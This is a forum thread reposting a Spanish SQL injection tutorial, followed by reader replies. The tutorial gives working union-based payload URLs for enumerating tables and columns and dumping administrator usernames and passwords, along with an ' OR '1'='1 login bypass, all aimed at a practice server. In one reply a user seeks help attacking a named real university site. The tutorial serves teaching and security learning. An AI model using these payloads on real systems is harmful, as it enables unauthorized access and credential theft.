ENTRAR EN EL FOROHACK ANTIGUO (Muchos temas viejos y de menor nivel)
02:14:55 13/11/2018
¿No estas registrado?
Login: Clave:
8 Usuarios en línea: 0 registrados, 8 invitados.
Conéctate y verás los usuarios en línea
Tema: Taller de Inyección SQL por Hacker_Zero
    Responder
Todos Los Foros -> Bugs & Exploits -> Taller de Inyección SQL por Hacker_Zero
Autor Mensaje (Ver Versión para Imprimir)
night crawler
Aprendiz nivel 3
Arreglando las imágenes

Mensajes: 82
Registrad@:
27/10/2007
Estado: Desconectad@
Ver último Post
Taller de Inyección SQL por Hacker_Zero

Taller Inyecciones SQL





Eres libre de distribuír ésta información siempre y cuando mantengas ésta cabecera.


Autor: Hacker_Zero
Fuente: http://foro.eduhack.es


Éste documento ha sido realizado con fines exclusivamente didácticos. Todos los ejemplos aquí posteados se realizaron en un servidor previamente preparado por el autor. Ni la web ni el autor se responsabilizan de otros usos que otros usuarios le puedan dar.




Empezamos

¿Que es una inyección SQL?

Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.

Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.

Un poco de teoría

Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas donde podremos practicar a nuestras anchas:


http://www.bullcariez.es



1- Averiguando si es vulnerable

Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:


CÓDIGO
$user = $_GET['id'>;
(...)
$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) or die (mysql_error());



¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:

CÓDIGO
http://www.bullcariez.es/index1.php?id=1+and+1=1


La consulta se realizara como:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=1


Y si ejecutamos:

http://www.bullcariez.es/index1.php?id=1+and+1=0

La consulta será:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=0


Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?

Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.


2- Averiguar el número de Columnas

Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:

http://www.bullcariez.es/index1.php?id=1+order+by+1

Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:

http://www.bullcariez.es/index1.php?id=1+order+by+2

Y así hasta llegar a 7, que se producirá un error:

http://www.bullcariez.es/index1.php?id=1+order+by+7

Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.


3- Haciendo nuestra consulta

Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:

http://www.bullcariez.es/index1.php?id=-1+union+select+1,2,3,4,5,6

Union: Se usa para combinar los resultados de varias sentencias SELECT.

Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.

Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:

http://www.bullcariez.es/index1.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()

version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.

El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.


4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).


5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)

En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)


Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)


Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa... 69 lo tenemos!


6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento, aunque pronto actualizaré el post para poner más información de algunos comandos que hoy pasé así muy rápido.

Y aprovechad http://www.bullcariez.es para hacer pruebas, intentad sacar los users y pass vosotros solos, o provado cosas para ir cogiendo soltura.




ACTUALIZACIÓN

Bueno, pues el otro día Krackwar me presentó una función que desconocía ( De ese 99% que desconozco, xD): group_concat()

¿Para que sirve ésta función?

Bueno, algunos habréis tenido problemas o os lió algo lo de buscar tablas y columnas con el método anterior, o simplemente os parecía muy largo el proceso, bueno, y si pudieramos imprimir todas las tablas y columnas con una única sentencia? Ahí entra group_concat(), concadena miembros de un grupo como puede ser el nombre de las tablas y el nombre de las columnas, mejor con un ejemplo no? xD:

Para las tablas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),
2,3,4,5,6+from+information_schema.tables


Y para las columnas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),
2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)





Ejercicio nº 2

Bueno pues para continuar el taller explicando otro tipo de inyección, me ayudaré del ejercicio 2 del servidor de pruebas de http://www.bullcariez.es . En éste ejercicio lo más interesante es entender la inyección.

-El código vulnerable

[code=sql>SELECT nombre FROM users Where nombre='$login' and Pass='$pass'[/code>

Nos deja pasar si al comprobar en la tabla users el nombre se corresponde con la contraseña. Nuestro objetivo es tener acceso sin saber el pass, podríamos modificar de alguna forma esa sentencia para que nos dejara pasar? Pues si.

-Nuestra inyección

Si en el campo login introducimos ADMIN y en password escribimos por ejemplo: Zero' OR '1'='1 la sentencia quedaría:

[code=sql>SELECT nombre FROM users Where nombre='ADMIN' and Pass='Zero' OR '1'='1'[/code>

Nos deja pasar si al comprobar en la tabla users al nombre ADMIN le corresponde la contraseña Zero o si 1 es igual a 1

Como 1 es igual a 1, nos dejará pasar   ;D. Hay muchas más posibilidades, lo único que hay que hacer es modificar la sentencia para que de true y nos deje pasar.




Espero les haya servido de algo mi humilde aporte, soy un newbi todavía en ésto así que si alguien con más experiencia quiere contribuír en éste taller ya sea poniendo más técnicas de inyección o programando nuevos niveles para practicar será bienvenido.

Por último decir que ésto es un Taller, podés poner vuestros logros en el servidor, poned las pass que saqueis, cualquier duda que surja, y espero en breve haya nuevos niveles más difíciles (este era sencillito) y todos aprendamos.





09/04/2009 01:10:49 
.DeMoNy.
Maestro Nivel 1

Mensajes: 324
Registrad@:
22/01/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Me gusta mucho. Un gran trabajo, lo leeré con mas detenimiento.

Buen aporte

Saludos!


09/04/2009 15:10:17 
night crawler
Aprendiz nivel 3
Arreglando las imágenes

Mensajes: 82
Registrad@:
27/10/2007
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

La verdad es que ese chaval es un crack, de hay aprendi a hacer las SQL Inyectiosn (básicas con el Union + Select), aunque todavía fallo mucho xD

Salu2!
09/04/2009 23:58:24 
ambu
Aprendiz nivel 1
Arreglando las imágenes

Mensajes: 38
Registrad@:
29/07/2008
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

exclenete   


esta web me ayudado mucho a entender varios conceptos de sql

buen aporte
25/04/2009 06:55:14 
borha
Casi Maestro Nivel 1
Sin Imagen

Mensajes: 110
Registrad@:
20/05/2007
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Esta muy bien el tutorial espero que siga aztualizandose ^^

Pero tengo alguna que otra dudilla.

1º -En el paso 3 la consulta
      http://www.bullcariez.es/index1.php?id=-1+union+select+1,2,3,4,5,6
no deberia devolver los contenidos de esas columnas y por que el 2 y el 3 no la muestra por pantalla ¿?

2º -En el 4 paso la consulta
      http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

despues de el table_name los parametros 2,3,4,5,6 por que van hay ¿?, no se supone que son el numero de columnas de una tabla, y que pasa con el parametro 1.

3º -En el paso 5 tengo dos dudas, una es la misma que la segunda duda, y la otra es si alguien me explica esta parte de la sentencia : and+column_name+like+char(37,64,37)

4º -Y ya por ultimo en el paso 6 en la SQL
      http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

aqui por despues de poner el nombre de los campos (nombre y Pass) se pone 2,3 y 5,6

Si me pudierais aclarar todas esas dudas se agradeceria mucho Saludos!
27/04/2009 13:05:21 
tunich_op
Usuario espontáneo
Arreglando las imágenes

Mensajes: 2
Registrad@:
17/11/2007
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Muy bueno tu post man un gran trabajo ......saludos gente.
28/04/2009 01:45:22 
roller0
Maestro Nivel 4
Arreglando las imágenes

Mensajes: 736
Registrad@:
29/06/2007
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

BRAVO!!!!!!!!

una obra de arte si señor!!!!


¡¡¡¡¡¡¡¡CaMPeaNDo eN eL CORTE INGLESSSSSS!!!!!!!!
28/04/2009 11:34:57 
alex_msn
Usuario novato
Sin Imagen

Mensajes: 3
Registrad@:
06/05/2006
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Zero un n00b?
xD

eres muy modesto jojojo xD
02/05/2009 13:49:53 
ZeEroOo
Casi Maestro Nivel 1
Arreglando las imágenes

Mensajes: 128
Registrad@:
02/02/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

ooooooo muii bien


02/05/2009 23:09:14 
marcoscolombo66
Usuario muy espontáneo
Sin Imagen

Mensajes: 1
Registrad@:
21/05/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Esto esta perfecto, pero me gustaria aplicarlo

Si alguien me ayuda se lo voy a agradecer.
21/05/2009 10:43:03 
StAt1k
Usuario muy espontáneo

Mensajes: 1
Registrad@:
21/01/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

CITA
Esto esta perfecto, pero me gustaria aplicarlo

Si alguien me ayuda se lo voy a agradecer.
primerlo leelo..
21/05/2009 17:03:30 
F0ster04
Usuario muy espontáneo
Sin Imagen

Mensajes: 1
Registrad@:
23/05/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Donde puedo buscar un tutorial que explique en mas detalles los "conceptos",y Muy bueno trabajo por cierto. Saludos
23/05/2009 19:04:19 
walterla8
Usuario muy espontáneo
Sin Imagen

Mensajes: 1
Registrad@:
15/09/2006
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

muy buena la explicacion y todo
este taller sigue?
06/08/2009 00:39:27 
g3n1ux
Usuario novato
Arreglando las imágenes

Mensajes: 3
Registrad@:
06/08/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

ok.. muy bueno tu post.!! si he entrado a esa web.. y me he kedado hasta una parte donde me bota error.!
SALUDOS
06/08/2009 17:36:44 
ronnierios2009
Usuario muy espontáneo
Sin Imagen

Mensajes: 1
Registrad@:
04/09/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

hola me podrian ayudar, yo soy novato esto de inyeccion sql, es que estoy encontrando la vulnerabilidad del servidor web www.uni.edu.ni pero no puedo gracias!
04/09/2009 20:03:33 
flck
Aprendiz nivel 1
Sin Imagen

Mensajes: 22
Registrad@:
18/12/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

donde puedo conseguir un tutorial mas explicado!!!
18/12/2009 00:17:20 
NT38K
Casi Maestro Nivel 3

Mensajes: 229
Registrad@:
17/01/2010
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Todo kedo aki?? deberia de seguirr,,.
16/04/2010 05:14:37 
tdldeath
Aprendiz nivel 1
Arreglando las imágenes

Mensajes: 20
Registrad@:
26/05/2009
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

hola a todos !
FELICITACIONES A night crawler
HICISTE UN BUEN TRABAJO
pero concuerdo con NT38K
esto no deberia de terminar aca recomiendo cotinuar este ecxelente mmanual y que actualicen el server que por cierto ya no funciona!


"AgRaDeCeR No CuEsTa NdA y Si CoNfoRtA" "lA iNfOrMaCiOn NunK dB d SeR pRiVaDa"
21/10/2010 05:40:47 
_RAYO_
Aprendiz nivel 1
Sin Imagen

Mensajes: 32
Registrad@:
31/10/2010
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

jejjee hermano realmente bueno gracias ... uno de los mejores post que vi para mi .
31/10/2010 22:15:59 
justm
Aprendiz nivel 1

Mensajes: 28
Registrad@:
17/02/2011
Estado: Desconectad@
Ir Arriba
RE: Taller de Inyección SQL por Hacker_Zero

Excelente post hermano, va a favoritos


20/10/2011 20:50:40 


REGÍSTRATE PARA PODER ENVIAR UN MENSAJE (tardas 20 segundos)

Copyright ForoHack.com